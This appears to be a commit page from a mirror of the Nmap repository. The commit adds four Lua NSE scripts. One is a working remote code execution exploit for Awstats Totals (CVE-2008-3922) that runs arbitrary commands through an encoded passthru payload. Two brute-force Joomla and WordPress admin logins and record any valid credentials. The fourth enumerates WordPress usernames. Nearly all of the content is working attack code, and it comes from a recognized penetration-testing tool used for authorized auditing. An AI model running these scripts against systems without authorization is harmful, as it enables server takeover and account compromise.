mirror of
https://github.com/nmap/nmap.git
synced 2025-12-09 14:11:29 +00:00
Adds http-awstatstotals-exec, http-joomla-brute, http-wordpress-brute and http-wp-enum.
This commit is contained in:
130
scripts/http-awstatstotals-exec.nse
Normal file
130
scripts/http-awstatstotals-exec.nse
Normal file
@@ -0,0 +1,130 @@
|
|||||||
|
description = [[
|
||||||
|
http-awstatstotals-exec exploits a remote code execution vulnerability in Awstats Totals 1.0 up to 1.14 and possibly other products based on it. [CVE: 2008-3922]
|
||||||
|
|
||||||
|
This vulnerability can be exploited through the GET variable sort. The script queries the web server with the command payload encoded using PHP's chr() function:
|
||||||
|
<code>?sort={%24{passthru%28chr(117).chr(110).chr(97).chr(109).chr(101).chr(32).chr(45).chr(97)%29}}{%24{exit%28%29}}</code>
|
||||||
|
|
||||||
|
Common paths for Awstats Total:
|
||||||
|
* <code>/awstats/index.php</code>
|
||||||
|
* <code>/awstatstotals/index.php</code>
|
||||||
|
* <code>/awstats/awstatstotals.php</code>
|
||||||
|
|
||||||
|
References:
|
||||||
|
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3922
|
||||||
|
* http://www.exploit-db.com/exploits/17324/
|
||||||
|
]]
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage
|
||||||
|
-- nmap -sV --script http-awstatstotals-exec.nse --script-args 'http-awstatstotals-exec.cmd="uname -a", http-awstatstotals-exec.uri=/awstats/index.php' <target>
|
||||||
|
-- nmap -sV --script http-awstatstotals-exec.nse <target>
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 80/tcp open http syn-ack
|
||||||
|
-- | http-awstatstotals-exec.nse:
|
||||||
|
-- |_Output for 'uname -a':Linux 2.4.19 #1 Son Apr 14 09:53:28 CEST 2002 i686 GNU/Linux
|
||||||
|
--
|
||||||
|
-- @args http-awstatstotals-exec.uri Awstats Totals URI including path. Default: /index.php
|
||||||
|
-- @args http-awstatstotals-exec.cmd Command to execute. Default: whoami
|
||||||
|
-- @args http-awstatstotals-exec.outfile Output file. If set it saves the output in this file.
|
||||||
|
---
|
||||||
|
-- Other useful args when running this script:
|
||||||
|
-- http.useragent - User Agent to use in GET request
|
||||||
|
--
|
||||||
|
|
||||||
|
author = "Paulino Calderon"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"vuln", "intrusive", "exploit"}
|
||||||
|
|
||||||
|
require "shortport"
|
||||||
|
require "http"
|
||||||
|
require "url"
|
||||||
|
|
||||||
|
portrule = shortport.http
|
||||||
|
|
||||||
|
--default values
|
||||||
|
local DEFAULT_CMD = "whoami"
|
||||||
|
local DEFAULT_URI = "/index.php"
|
||||||
|
|
||||||
|
---
|
||||||
|
--Writes string to file
|
||||||
|
-- @param filename Filename to write
|
||||||
|
-- @param content Content string
|
||||||
|
-- @return boolean status
|
||||||
|
-- @return string error
|
||||||
|
--Taken from: hostmap.nse
|
||||||
|
local function write_file(filename, contents)
|
||||||
|
local f, err = io.open(filename, "w")
|
||||||
|
if not f then
|
||||||
|
return f, err
|
||||||
|
end
|
||||||
|
f:write(contents)
|
||||||
|
f:close()
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
---
|
||||||
|
--Checks if Awstats Totals installation seems to be there
|
||||||
|
-- @param host Host table
|
||||||
|
-- @param port Port table
|
||||||
|
-- @param path Path pointing to AWStats Totals
|
||||||
|
-- @return true if awstats totals is found
|
||||||
|
local function check_installation(host, port, path)
|
||||||
|
local check_req = http.get(host, port, path)
|
||||||
|
if not(http.response_contains(check_req, "AWStats")) then
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
---
|
||||||
|
--MAIN
|
||||||
|
---
|
||||||
|
action = function(host, port)
|
||||||
|
local output = {}
|
||||||
|
local uri = stdnse.get_script_args("http-awstatstotals-exec.uri") or DEFAULT_URI
|
||||||
|
local cmd = stdnse.get_script_args("http-awstatstotals-exec.cmd") or DEFAULT_CMD
|
||||||
|
local out = stdnse.get_script_args("http-awstatstotals-exec.outfile")
|
||||||
|
|
||||||
|
--check for awstats signature
|
||||||
|
local awstats_check = check_installation(host, port, uri)
|
||||||
|
if not(awstats_check) then
|
||||||
|
stdnse.print_debug(1, "%s:This does not look like Awstats Totals. Quitting.", SCRIPT_NAME)
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
--Encode payload using PHP's chr()
|
||||||
|
local encoded_payload = ""
|
||||||
|
cmd:gsub(".", function(c) encoded_payload = encoded_payload .."chr("..string.byte(c)..")." end)
|
||||||
|
if string.sub(encoded_payload, #encoded_payload) == "." then
|
||||||
|
encoded_payload = string.sub(encoded_payload, 1, #encoded_payload-1)
|
||||||
|
end
|
||||||
|
local stealth_payload = "?sort={%24{passthru%28"..encoded_payload.."%29}}{%24{exit%28%29}}"
|
||||||
|
|
||||||
|
--set payload and send request
|
||||||
|
local req = http.get(host, port, uri .. stealth_payload)
|
||||||
|
if req.status and req.status == 200 then
|
||||||
|
output[#output+1] = string.format("\nOutput for '%s':%s", cmd, req.body)
|
||||||
|
|
||||||
|
--if out set, save output to file
|
||||||
|
if out then
|
||||||
|
local status, err = write_file(out, req.body)
|
||||||
|
if status then
|
||||||
|
output[#output+1] = string.format("Output saved to %s\n", out)
|
||||||
|
else
|
||||||
|
output[#output+1] = string.format("Error saving output to %s: %s\n", out, err)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
else
|
||||||
|
if nmap.verbosity()>= 2 then
|
||||||
|
output[#output+1] = "[Error] Request did not return 200. Make sure your URI value is correct. A WAF might be blocking your request"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
--output
|
||||||
|
if #output>0 then
|
||||||
|
return stdnse.strjoin("\n", output)
|
||||||
|
end
|
||||||
|
end
|
||||||
146
scripts/http-joomla-brute.nse
Normal file
146
scripts/http-joomla-brute.nse
Normal file
@@ -0,0 +1,146 @@
|
|||||||
|
description = [[
|
||||||
|
Performs a brute force password attack against Joomla installations.
|
||||||
|
|
||||||
|
This script initially reads the session cookie and parses the security token to perfom the brute force password auditing.
|
||||||
|
It uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are stored using the
|
||||||
|
credentials library.
|
||||||
|
|
||||||
|
Joomla's default uri and form names:
|
||||||
|
* Default uri:<code>/administrator/index.php</code>
|
||||||
|
* Default uservar: <code>username</code>
|
||||||
|
* Default passvar: <code>passwd</code>
|
||||||
|
]]
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage
|
||||||
|
-- nmap -sV --script http-joomla-brute
|
||||||
|
-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-joomla-brute.hostname=domain.com,
|
||||||
|
-- http-joomla-brute.threads=3,brute.firstonly=true' <target>
|
||||||
|
-- nmap -sV --script http-joomla-brute <target>
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 80/tcp open http syn-ack
|
||||||
|
-- | http-joomla-brute:
|
||||||
|
-- | Accounts
|
||||||
|
-- | xdeadbee:i79eWBj07g => Login correct
|
||||||
|
-- | Statistics
|
||||||
|
-- |_ Perfomed 499 guesses in 301 seconds, average tps: 0
|
||||||
|
--
|
||||||
|
-- @args http-joomla-brute.uri Path to authentication script. Default: /administrator/index.php
|
||||||
|
-- @args http-joomla-brute.hostname Virtual Hostname Header
|
||||||
|
-- @args http-joomla-brute.uservar sets the http-variable name that holds the
|
||||||
|
-- username used to authenticate. Default: username
|
||||||
|
-- @args http-joomla-brute.passvar sets the http-variable name that holds the
|
||||||
|
-- password used to authenticate. Default: passwd
|
||||||
|
-- @args http-joomla-brute.threads sets the number of threads. Default: 3
|
||||||
|
--
|
||||||
|
-- Other useful arguments when using this script are:
|
||||||
|
-- * http.useragent = String - User Agent used in HTTP requests
|
||||||
|
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
|
||||||
|
-- * brute.mode = user/creds/pass - Username password iterator
|
||||||
|
-- * passdb = String - Path to password list
|
||||||
|
-- * userdb = String - Path to user list
|
||||||
|
--
|
||||||
|
--
|
||||||
|
-- Based on Patrik Karlsson's http-form-brute
|
||||||
|
--
|
||||||
|
|
||||||
|
author = "Paulino Calderon"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"intrusive", "auth"}
|
||||||
|
|
||||||
|
require 'shortport'
|
||||||
|
require 'http'
|
||||||
|
require 'brute'
|
||||||
|
require 'creds'
|
||||||
|
|
||||||
|
portrule = shortport.http
|
||||||
|
|
||||||
|
local DEFAULT_JOOMLA_LOGIN_URI = "/administrator/index.php"
|
||||||
|
local DEFAULT_JOOMLA_USERVAR = "username"
|
||||||
|
local DEFAULT_JOOMLA_PASSVAR = "passwd"
|
||||||
|
local DEFAULT_THREAD_NUM = 3
|
||||||
|
|
||||||
|
local security_token
|
||||||
|
local session_cookie_str
|
||||||
|
|
||||||
|
---
|
||||||
|
--This class implements the Brute library (http://nmap.org/nsedoc/lib/brute.html)
|
||||||
|
---
|
||||||
|
Driver = {
|
||||||
|
new = function(self, host, port, options)
|
||||||
|
local o = {}
|
||||||
|
setmetatable(o, self)
|
||||||
|
self.__index = self
|
||||||
|
o.host = stdnse.get_script_args('http-joomla-brute.hostname') or host
|
||||||
|
o.port = port
|
||||||
|
o.uri = stdnse.get_script_args('http-joomla-brute.uri') or DEFAULT_JOOMLA_LOGIN_URI
|
||||||
|
o.options = options
|
||||||
|
return o
|
||||||
|
end,
|
||||||
|
|
||||||
|
connect = function( self )
|
||||||
|
return true
|
||||||
|
end,
|
||||||
|
|
||||||
|
login = function( self, username, password )
|
||||||
|
stdnse.print_debug(2, "HTTP POST %s%s with security token %s\n", self.host, self.uri, security_token)
|
||||||
|
local response = http.post( self.host, self.port, self.uri, { cookies = session_cookie_str, no_cache = true, no_cache_body = true }, nil,
|
||||||
|
{ [self.options.uservar] = username, [self.options.passvar] = password,
|
||||||
|
[security_token] = 1, lang = "", option = "com_login", task = "login" } )
|
||||||
|
|
||||||
|
if response.body and not( response.body:match('name=[\'"]*'..self.options.passvar ) ) then
|
||||||
|
stdnse.print_debug(2, "Response:\n%s", response.body)
|
||||||
|
local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port )
|
||||||
|
c:add(username, password, creds.State.VALID )
|
||||||
|
return true, brute.Account:new( username, password, "OPEN")
|
||||||
|
end
|
||||||
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
|
end,
|
||||||
|
|
||||||
|
disconnect = function( self )
|
||||||
|
return true
|
||||||
|
end,
|
||||||
|
|
||||||
|
check = function( self )
|
||||||
|
local response = http.get( self.host, self.port, self.uri )
|
||||||
|
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
|
||||||
|
-- Check if password field is there
|
||||||
|
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
|
||||||
|
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
|
||||||
|
session_cookie_str = response.cookies[1]["name"].."="..response.cookies[1]["value"];
|
||||||
|
if response.body then
|
||||||
|
_, _, security_token = string.find(response.body, '<input type="hidden" name="(%w+)" value="1" />')
|
||||||
|
end
|
||||||
|
if security_token then
|
||||||
|
stdnse.print_debug(2, "Security Token found:%s", security_token)
|
||||||
|
else
|
||||||
|
stdnse.print_debug(2, "The security token was not found.")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
|
||||||
|
end
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
}
|
||||||
|
---
|
||||||
|
--MAIN
|
||||||
|
---
|
||||||
|
action = function( host, port )
|
||||||
|
local status, result, engine
|
||||||
|
local uservar = stdnse.get_script_args('http-joomla-brute.uservar') or DEFAULT_JOOMLA_USERVAR
|
||||||
|
local passvar = stdnse.get_script_args('http-joomla-brute.passvar') or DEFAULT_JOOMLA_PASSVAR
|
||||||
|
local thread_num = stdnse.get_script_args("http-joomla-brute.threads") or DEFAULT_THREAD_NUM
|
||||||
|
|
||||||
|
engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
|
||||||
|
engine:setMaxThreads(thread_num)
|
||||||
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
status, result = engine:start()
|
||||||
|
|
||||||
|
return result
|
||||||
|
end
|
||||||
134
scripts/http-wordpress-brute.nse
Normal file
134
scripts/http-wordpress-brute.nse
Normal file
@@ -0,0 +1,134 @@
|
|||||||
|
description = [[
|
||||||
|
Performs a brute force password attack against Wordpress installations.
|
||||||
|
|
||||||
|
This script uses the unpwdb and brute libraries to perform password guessing. Any successful guesses are
|
||||||
|
stored using the credentials library.
|
||||||
|
|
||||||
|
Wordpress default uri and form names:
|
||||||
|
* Default uri:<code>wp-login.php</code>
|
||||||
|
* Default uservar: <code>log</code>
|
||||||
|
* Default passvar: <code>pwd</code>
|
||||||
|
]]
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage
|
||||||
|
-- nmap -sV --script http-wordpress-brute <target>
|
||||||
|
-- nmap -sV --script http-wordpress-brute
|
||||||
|
-- --script-args 'userdb=users.txt,passdb=passwds.txt,http-wordpress-brute.hostname=domain.com,
|
||||||
|
-- http-wordpress-brute.threads=3,brute.firstonly=true' <target>
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 80/tcp open http syn-ack
|
||||||
|
-- | http-wordpress-brute:
|
||||||
|
-- | Accounts
|
||||||
|
-- | 0xdeadb33f:god => Login correct
|
||||||
|
-- | Statistics
|
||||||
|
-- |_ Perfomed 103 guesses in 17 seconds, average tps: 6
|
||||||
|
--
|
||||||
|
-- @args http-wordpress-brute.uri points to the file 'wp-login.php'. Default /wp-login.php
|
||||||
|
-- @args http-wordpress-brute.hostname sets the host header in case of virtual
|
||||||
|
-- hosting
|
||||||
|
-- @args http-wordpress-brute.uservar sets the http-variable name that holds the
|
||||||
|
-- username used to authenticate. Default: log
|
||||||
|
-- @args http-wordpress-brute.passvar sets the http-variable name that holds the
|
||||||
|
-- password used to authenticate. Default: pwd
|
||||||
|
-- @args http-wordpress-brute.threads sets the number of threads. Default: 3
|
||||||
|
--
|
||||||
|
-- Other useful arguments when using this script are:
|
||||||
|
-- * http.useragent = String - User Agent used in HTTP requests
|
||||||
|
-- * brute.firstonly = Boolean - Stop attack when the first credentials are found
|
||||||
|
-- * brute.mode = user/creds/pass - Username password iterator
|
||||||
|
-- * passdb = String - Path to password list
|
||||||
|
-- * userdb = String - Path to user list
|
||||||
|
--
|
||||||
|
-- Based on Patrik Karlsson's http-form-brute
|
||||||
|
--
|
||||||
|
|
||||||
|
author = "Paulino Calderon"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"intrusive", "auth"}
|
||||||
|
|
||||||
|
require 'shortport'
|
||||||
|
require 'http'
|
||||||
|
require 'brute'
|
||||||
|
require 'creds'
|
||||||
|
|
||||||
|
portrule = shortport.http
|
||||||
|
|
||||||
|
local DEFAULT_WP_URI = "/wp-login.php"
|
||||||
|
local DEFAULT_WP_USERVAR = "log"
|
||||||
|
local DEFAULT_WP_PASSVAR = "pwd"
|
||||||
|
local DEFAULT_THREAD_NUM = 3
|
||||||
|
|
||||||
|
---
|
||||||
|
--This class implements the Driver class from the Brute library
|
||||||
|
---
|
||||||
|
Driver = {
|
||||||
|
new = function(self, host, port, options)
|
||||||
|
local o = {}
|
||||||
|
setmetatable(o, self)
|
||||||
|
self.__index = self
|
||||||
|
o.host = stdnse.get_script_args('http-wordpress-brute.hostname') or host
|
||||||
|
o.port = port
|
||||||
|
o.uri = stdnse.get_script_args('http-wordpress-brute.uri') or DEFAULT_WP_URI
|
||||||
|
o.options = options
|
||||||
|
return o
|
||||||
|
end,
|
||||||
|
|
||||||
|
connect = function( self )
|
||||||
|
-- This will cause problems, as ther is no way for us to "reserve"
|
||||||
|
-- a socket. We may end up here early with a set of credentials
|
||||||
|
-- which won't be guessed until the end, due to socket exhaustion.
|
||||||
|
return true
|
||||||
|
end,
|
||||||
|
|
||||||
|
login = function( self, username, password )
|
||||||
|
-- Note the no_cache directive
|
||||||
|
stdnse.print_debug(2, "HTTP POST %s%s\n", self.host, self.uri)
|
||||||
|
local response = http.post( self.host, self.port, self.uri, { no_cache = true }, nil, { [self.options.uservar] = username, [self.options.passvar] = password } )
|
||||||
|
-- This redirect is taking us to /wp-admin
|
||||||
|
if response.status == 302 then
|
||||||
|
local c = creds.Credentials:new( SCRIPT_NAME, self.host, self.port )
|
||||||
|
c:add(username, password, creds.State.VALID )
|
||||||
|
return true, brute.Account:new( username, password, "OPEN")
|
||||||
|
end
|
||||||
|
|
||||||
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
|
end,
|
||||||
|
|
||||||
|
disconnect = function( self )
|
||||||
|
return true
|
||||||
|
end,
|
||||||
|
|
||||||
|
check = function( self )
|
||||||
|
local response = http.get( self.host, self.port, self.uri )
|
||||||
|
stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)
|
||||||
|
-- Check if password field is there
|
||||||
|
if ( response.status == 200 and response.body:match('type=[\'"]password[\'"]')) then
|
||||||
|
stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
|
||||||
|
return true
|
||||||
|
else
|
||||||
|
stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
|
||||||
|
end
|
||||||
|
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
}
|
||||||
|
---
|
||||||
|
--MAIN
|
||||||
|
---
|
||||||
|
action = function( host, port )
|
||||||
|
local status, result, engine
|
||||||
|
local uservar = stdnse.get_script_args('http-wordpress-brute.uservar') or DEFAULT_WP_USERVAR
|
||||||
|
local passvar = stdnse.get_script_args('http-wordpress-brute.passvar') or DEFAULT_WP_PASSVAR
|
||||||
|
local thread_num = stdnse.get_script_args("http-wordpress-brute.threads") or DEFAULT_THREAD_NUM
|
||||||
|
|
||||||
|
engine = brute.Engine:new( Driver, host, port, { uservar = uservar, passvar = passvar } )
|
||||||
|
engine:setMaxThreads(thread_num)
|
||||||
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
status, result = engine:start()
|
||||||
|
|
||||||
|
return result
|
||||||
|
end
|
||||||
137
scripts/http-wp-enum.nse
Normal file
137
scripts/http-wp-enum.nse
Normal file
@@ -0,0 +1,137 @@
|
|||||||
|
description = [[
|
||||||
|
http-wp-enum enumerates usernames in Wordpress installations by exploiting an information disclosure vulnerability
|
||||||
|
existing in versions 2.6, 3.1, 3.1.1, 3.1.3 and 3.2-beta2 and possibly others.
|
||||||
|
|
||||||
|
Original advisory:
|
||||||
|
* http://www.talsoft.com.ar/index.php/research/security-advisories/wordpress-user-id-and-user-name-disclosure
|
||||||
|
]]
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage
|
||||||
|
-- nmap -p80 --script http-wp-enum <target>
|
||||||
|
-- nmap -sV --script http-wp-enum --script-args limit=50 <target>
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 80/tcp open http syn-ack
|
||||||
|
-- | http-wp-enum:
|
||||||
|
-- | Username found: admin
|
||||||
|
-- | Username found: mauricio
|
||||||
|
-- | Username found: cesar
|
||||||
|
-- | Username found: lean
|
||||||
|
-- | Username found: alex
|
||||||
|
-- | Username found: ricardo
|
||||||
|
-- |_Search stopped at ID #25. Increase the upper limit if necessary with 'http-wp-enum.limit'
|
||||||
|
--
|
||||||
|
-- @args http-wp-enum.limit Upper limit for ID search. Default: 25
|
||||||
|
-- @args http-wp-enum.basepath Base path to Wordpress. Default: /
|
||||||
|
-- @args http-wp-enum.out If set it saves the username list in this file.
|
||||||
|
---
|
||||||
|
|
||||||
|
author = "Paulino Calderon"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"discovery", "auth", "intrusive", "vuln"}
|
||||||
|
|
||||||
|
require "shortport"
|
||||||
|
require "http"
|
||||||
|
|
||||||
|
portrule = shortport.http
|
||||||
|
|
||||||
|
---
|
||||||
|
-- Returns the username extracted from the url corresponding to the id passed
|
||||||
|
-- If user id doesn't exists returns false
|
||||||
|
-- @param host Host table
|
||||||
|
-- @param port Port table
|
||||||
|
-- @param path Base path to WP
|
||||||
|
-- @param id User id
|
||||||
|
-- @return false if not found otherwise it returns the username
|
||||||
|
---
|
||||||
|
local function get_wp_user(host, port, path, id)
|
||||||
|
stdnse.print_debug(2, "%s: Trying to get username with id %s", SCRIPT_NAME, id)
|
||||||
|
local req = http.get(host, port, path.."?author="..id, { no_cache = true})
|
||||||
|
if req.status then
|
||||||
|
stdnse.print_debug(1, "%s: User id #%s returned status %s", SCRIPT_NAME, id, req.status)
|
||||||
|
if req.status == 301 then
|
||||||
|
local _, _, user = string.find(req.header.location, 'http://.*/.*/(.*)/')
|
||||||
|
return user
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
---
|
||||||
|
--Returns true if WP installation exists.
|
||||||
|
--We assume an installation exists if wp-login.php is found
|
||||||
|
--@param host Host table
|
||||||
|
--@param port Port table
|
||||||
|
--@param path Path to WP
|
||||||
|
--@return True if WP was found
|
||||||
|
--
|
||||||
|
local function check_wp(host, port, path)
|
||||||
|
stdnse.print_debug(2, "%s:Checking %swp-login.php ", SCRIPT_NAME, path)
|
||||||
|
local req = http.get(host, port, path.."wp-login.php", {no_cache=true})
|
||||||
|
if req.status and req.status == 200 then
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
|
||||||
|
---
|
||||||
|
--Writes string to file
|
||||||
|
--Taken from: hostmap.nse
|
||||||
|
--@param filename Target filename
|
||||||
|
--@param contents String to save
|
||||||
|
--@return true when successful
|
||||||
|
local function write_file(filename, contents)
|
||||||
|
local f, err = io.open(filename, "w")
|
||||||
|
if not f then
|
||||||
|
return f, err
|
||||||
|
end
|
||||||
|
f:write(contents)
|
||||||
|
f:close()
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
---
|
||||||
|
--MAIN
|
||||||
|
---
|
||||||
|
action = function(host, port)
|
||||||
|
local basepath = stdnse.get_script_args("http-wp-enum.basepath") or "/"
|
||||||
|
local limit = stdnse.get_script_args("http-wp-enum.limit") or 25
|
||||||
|
local filewrite = stdnse.get_script_args("http-wp-enum.out")
|
||||||
|
local output = {""}
|
||||||
|
local users = {}
|
||||||
|
--First, we check this is WP
|
||||||
|
if not(check_wp(host, port, basepath)) then
|
||||||
|
if nmap.verbosity() >= 2 then
|
||||||
|
return "[Error] Wordpress installation was not found. We couldn't find wp-login.php"
|
||||||
|
else
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
--Incrementing ids to enum users
|
||||||
|
for i=1, tonumber(limit) do
|
||||||
|
local user = get_wp_user(host, port, basepath, i)
|
||||||
|
if user then
|
||||||
|
stdnse.print_debug(1, "%s: Username found -> %s", SCRIPT_NAME, user)
|
||||||
|
output[#output+1] = string.format("Username found: %s", user)
|
||||||
|
users[#users+1] = user
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if filewrite and #users>0 then
|
||||||
|
local status, err = write_file(filewrite, stdnse.strjoin("\n", users))
|
||||||
|
if status then
|
||||||
|
output[#output+1] = string.format("Users saved to %s\n", filewrite)
|
||||||
|
else
|
||||||
|
output[#output+1] = string.format("Error saving %s: %s\n", filewrite, err)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
if #output > 1 then
|
||||||
|
output[#output+1] = string.format("Search stopped at ID #%s. Increase the upper limit if necessary with 'http-wp-enum.limit'", limit)
|
||||||
|
return stdnse.strjoin("\n", output)
|
||||||
|
end
|
||||||
|
end
|
||||||
@@ -69,6 +69,7 @@ Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "s
|
|||||||
Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } }
|
Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } }
|
||||||
Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "http-affiliate-id.nse", categories = { "discovery", "safe", } }
|
||||||
Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } }
|
Entry { filename = "http-auth.nse", categories = { "auth", "default", "safe", } }
|
||||||
|
Entry { filename = "http-awstatstotals-exec.nse", categories = { "exploit", "intrusive", "vuln", } }
|
||||||
Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
|
Entry { filename = "http-axis2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
|
||||||
Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } }
|
Entry { filename = "http-barracuda-dir-traversal.nse", categories = { "auth", "exploit", "intrusive", } }
|
||||||
Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } }
|
Entry { filename = "http-brute.nse", categories = { "auth", "intrusive", } }
|
||||||
@@ -82,6 +83,7 @@ Entry { filename = "http-form-brute.nse", categories = { "auth", "intrusive", }
|
|||||||
Entry { filename = "http-google-malware.nse", categories = { "discovery", "external", "malware", "safe", } }
|
Entry { filename = "http-google-malware.nse", categories = { "discovery", "external", "malware", "safe", } }
|
||||||
Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "http-headers.nse", categories = { "discovery", "safe", } }
|
||||||
Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } }
|
Entry { filename = "http-iis-webdav-vuln.nse", categories = { "intrusive", "vuln", } }
|
||||||
|
Entry { filename = "http-joomla-brute.nse", categories = { "auth", "intrusive", } }
|
||||||
Entry { filename = "http-litespeed-sourcecode-download.nse", categories = { "exploit", "intrusive", "vuln", } }
|
Entry { filename = "http-litespeed-sourcecode-download.nse", categories = { "exploit", "intrusive", "vuln", } }
|
||||||
Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
|
Entry { filename = "http-majordomo2-dir-traversal.nse", categories = { "exploit", "intrusive", "vuln", } }
|
||||||
Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } }
|
Entry { filename = "http-malware-host.nse", categories = { "malware", "safe", } }
|
||||||
@@ -96,6 +98,8 @@ Entry { filename = "http-userdir-enum.nse", categories = { "discovery", "intrusi
|
|||||||
Entry { filename = "http-vhosts.nse", categories = { "discovery", "intrusive", } }
|
Entry { filename = "http-vhosts.nse", categories = { "discovery", "intrusive", } }
|
||||||
Entry { filename = "http-vmware-path-vuln.nse", categories = { "default", "safe", "vuln", } }
|
Entry { filename = "http-vmware-path-vuln.nse", categories = { "default", "safe", "vuln", } }
|
||||||
Entry { filename = "http-waf-detect.nse", categories = { "discovery", "intrusive", } }
|
Entry { filename = "http-waf-detect.nse", categories = { "discovery", "intrusive", } }
|
||||||
|
Entry { filename = "http-wordpress-brute.nse", categories = { "auth", "intrusive", } }
|
||||||
|
Entry { filename = "http-wp-enum.nse", categories = { "auth", "discovery", "intrusive", "vuln", } }
|
||||||
Entry { filename = "http-wp-plugins.nse", categories = { "discovery", "intrusive", } }
|
Entry { filename = "http-wp-plugins.nse", categories = { "discovery", "intrusive", } }
|
||||||
Entry { filename = "iax2-version.nse", categories = { "version", } }
|
Entry { filename = "iax2-version.nse", categories = { "version", } }
|
||||||
Entry { filename = "imap-brute.nse", categories = { "auth", "intrusive", } }
|
Entry { filename = "imap-brute.nse", categories = { "auth", "intrusive", } }
|
||||||
|
|||||||
Reference in New Issue
Block a user